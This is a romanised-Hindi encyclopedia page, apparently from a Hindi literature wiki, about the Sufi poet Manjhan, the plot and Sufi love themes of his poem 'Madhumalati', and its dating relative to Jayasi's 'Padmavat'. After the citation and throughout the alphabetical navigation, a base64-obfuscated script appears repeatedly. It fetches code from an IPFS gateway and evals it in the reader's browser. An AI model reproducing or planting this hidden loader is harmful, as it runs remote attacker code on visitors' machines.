मंझन

manjhan ke sanbandh mean kuchh bhi jnat nahian hai. keval inaki rachi huee 'madhumalati' ki ek khandit prati mili hai jisase inaki komal kalpana aur snigdh sahridayata ka pata lagata hai. mrigavati ke saman 'madhumalati' mean bhi paanch chaupaiyoan^[1] ke uparaant ek 'dohe' ka kram rakha gaya hai. par mrigavati ki apeksha isaki kalpana bhi vishad hai aur varnan bhi adhik vistrit aur hridayagrahi hai. adhyatmik premabhav ki vyanjana ke lie prakriti ke bhi adhik drishyoan ka samavesh manjhan ne kiya hai. kahani bhi kuchh adhik jatil aur lanbi hai jo atyant sankshep mean niche di jati hai-

kathasar

REDIRECTsaancha:mukhy

kanesar nagar ke raja soorajabhan ke putr manohar namak ek soe hue rajakumar ko apsaraean ratoanrat maharas nagar ki rajakumari madhumalati ki chitrasari mean rakh aeean. vahaan jagane par donoan ka sakshatkar hua aur donoan ek doosare par mohit ho ge. poochhane par manohar ne apana parichay diya aur kaha 'mera anurag tumhare oopar kee janmoan ka hai isase jis din maian is sansar mean aya usi din se tumhara prem mere hriday mean utpann hua.' batachit karate karate donoan ek sath so ge aur apsaraean rajakumar ko uthakar phir usake ghar par rakh aeean. donoan jab apane apane sthan par jage tab prem mean bahut vyakul hue. rajakumar viyog se vikal hokar ghar se nikal p da aur usane samudr marg se yatra ki. marg mean toofan aya jisamean isht mitr idhar udhar bah ge. rajakumar ek patare par bahata hua ek jangal mean ja laga, jahaan ek sthan par ek suandar stri palang par leti dikhaee p di. poochhane par jan p da ki vah chitabisaramapur ke raja chitrasen ki kumari prema thi jise ek rakshas utha laya tha. manohar kumar ne us rakshas ko marakar prema ka udhdar kiya. prema ne madhumalati ka pata bata kar kaha ki meri vah sakhi hai. maian use tujhase mila dooangi. manohar ko lie hue prema apane pita ke nagar mean aee. manohar ke upakar ko sunakar prema ka pita usaka vivah manohar ke sath karana chahata hai. par prema yah kahakar asvikar karati hai ki manohar mera bhaee hai aur maianne use usaki premapatri madhumalati se milane ka vachan diya hai.

khandit prati

isake age prati khandit hai. par katha ke jhukav se anuman hota hai ki prema aur tarachand ka bhi vivah ho gaya hoga.

soophi prem bhavana

kavi ne nayak aur nayika ke atirikt upanayak aur upanayika ki bhi yojana karake katha ko to vistrit kiya hi hai, sath hi prema aur tarachand ke charitr dvara sachchi sahanubhooti, apoorv sanyam aur ni:svarth bhav ka chitr dikhaya hai. janm janmaantar aur yonyantar ke bich prem ki akhandata dikhakar manjhan ne prematatv ki vyapakata aur nityata ka abhas dikhaya hai. soophiyoan ke anusar yah sara jagath ek aise rahasyamay premasootr mean bandha hai jisaka avalanban karake jiv us premamoorti tak pahuanchane ka marg pa sakata hai. soophi sab roopoan mean usaki chhipi jyoti dekhakar mugdh hote haian, jaisa ki manjhan kahate haian -

dekhat hi pahichaneu tohian. ehi roop jehi chhandarayo mohi
ehi roop but ahai chhapana. ehi roop rab srishti samana
ehi roop sakati au sioo. ehi roop triabhuvan kar jioo
ehi roop pragate bahu bhesa. ehi roop jag rank naresa

eeshvar ka virah soophiyoan ke yahaan bhakt ki pradhan sanpatti hai jisake bina sadhana ke marg mean koee pravritt nahian ho sakata, kisi ki aauankh nahian khul sakati

birah avadhi avagah apara . koti mahian ek parai t para
birah ki jagath abiratha jahi?. birah roop yah srishti sabahi
nain birah aanjan jin sara . birah roop darapan sansara
koti mahian birala jag koee . jahi sarir birah du:kh hoee
ratan ki sagar sagarahian, gajamoti gaj koi.
chandan ki ban ban oopajai, birah ki tan tan hoi?

jisake hriday mean vah virah hota hai usake lie yah sansar svachchh darpan ho jata hai aur isamean paramatma ke abhas anek roopoan mean p date haian. tab vah dekhata hai ki is srishti ke sare roop, sare vyapar usi ka virah prakat kar rahe haian. ye bhav premamargi sanpraday ke sab kaviyoan mean pae jate haian.

samay

manjhan ki rachana ka yadyapi thik thik sanvath nahian jnat ho saka hai par yah nissandeh hai ki rachana vikram sanvath 1550 aur 1595, padmavat ka rachanakal ke, bich mean aur bahut sanbhav hai ki mrigavati ke kuchh pichhe huee. is shaili ke sabase prasiddh aur lokapriy granth 'padmavat' mean jayasi ne apane poorv ke bane hue is prakar ke kavyoan ka sankshep mean ullekh kiya hai -

vikram dhansa prem ke bara . sapanavati kahan gayu patara॥
madhoopachh mugadhavati lagi . gaganapoor hoiga bairagi॥
rajakuanvar kanchanapur gayoo . miragavati kahan jogi bhayoo॥
sadho kuanvar khradavat jogoo . madhumalati kar kinh biyogoo॥
premavati kah surabar sadha. usha lagi anirudha bar baandha॥

in padyoan mean jayasi ke pahale ke char kavyoan ka ullekh hai mugdhavati, mrigavati, madhumalati aur premavati. inamean se mrigavati aur madhumalati ka pata chal gaya hai, shesh do abhi nahian mile haian. jis kram se ye nam ae haian vah yadi rachanakal ke kram ke anusar mana jay to madhumalati ki rachana kutaban ki mrigavati ke pichhe thaharati hai.

padmavati mean

jayasi ka jo uddharan diya gaya hai usamean madhumalati ke sath 'manohar' ka nam nahian hai, 'khandavat' nam hai. 'padmavat' ki hastalikhit pratiyaan pray: pharasi aksharoan mean hi milati haian. maianne char aisi pratiyaan dekhi haian jin sab mean nayak ka aisa nam likha hai jise khandavat, kuandavat, kandavat, gandhavat ityadi hi padh sakate haian. keval ek hastalikhit prati hiandoo vishvavidyalay ke pustakalay mean aisi hai jisamean saf 'manohar' path hai. usaman ki 'chitravali' mean madhumalati ka jo ullekh hai usamean bhi kuanvar ka nam 'manohar' hi hai.^[2]

'padmavat' ke pahale 'madhumalati' ki bahut adhik prasiddhi thi. jain kavi 'banarasi das' ne apane atmacharit mean sanvath 1660 ke asapas ki apani ishkabaji vali jivanacharya ka ullekh karate hue likha hai ki us samay maian hat bazar mean jana chho d, ghar mean p de p de 'mrigavati' aur 'madhumalati' nam ki pothiyaan padha karata tha.^[3]
isake uparaant dakshin ke 'shayar nasarati' ne bhi^[4] 'madhumalati' ke adhar par dakkhini urdoo mean 'gulashane ishk' nam se ek prem kahani likhi.
kavitt, savaiya banane vale ek 'manjhan' pichhe hue jinhean inase sarvatha prithakh samajhana chahie.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ardhaliyoan
↑

madhumalati hoi roop dekhava. prem manohar hoi tahan ava
yahi nam 'madhumalati' ki upalabdh pratiyoan mean bhi paya jata hai.
↑

tab ghar mean baithe rahaian, nahiann hat bazar.
madhumalati, mrigavati pothi doy uchar
↑ sanvath 1700

achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 75-78.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] rdhaliyoan

[2] 

madhumalati hoi roop dekhava. prem manohar hoi tahan ava
yahi nam 'madhumalati' ki upalabdh pratiyoan mean bhi paya jata hai.

[3] 

tab ghar mean baithe rahaian, nahiann hat bazar.
madhumalati, mrigavati pothi doy uchar

[4] sanvath 1700

[1]

[2]

[3]

[4]

मंझन

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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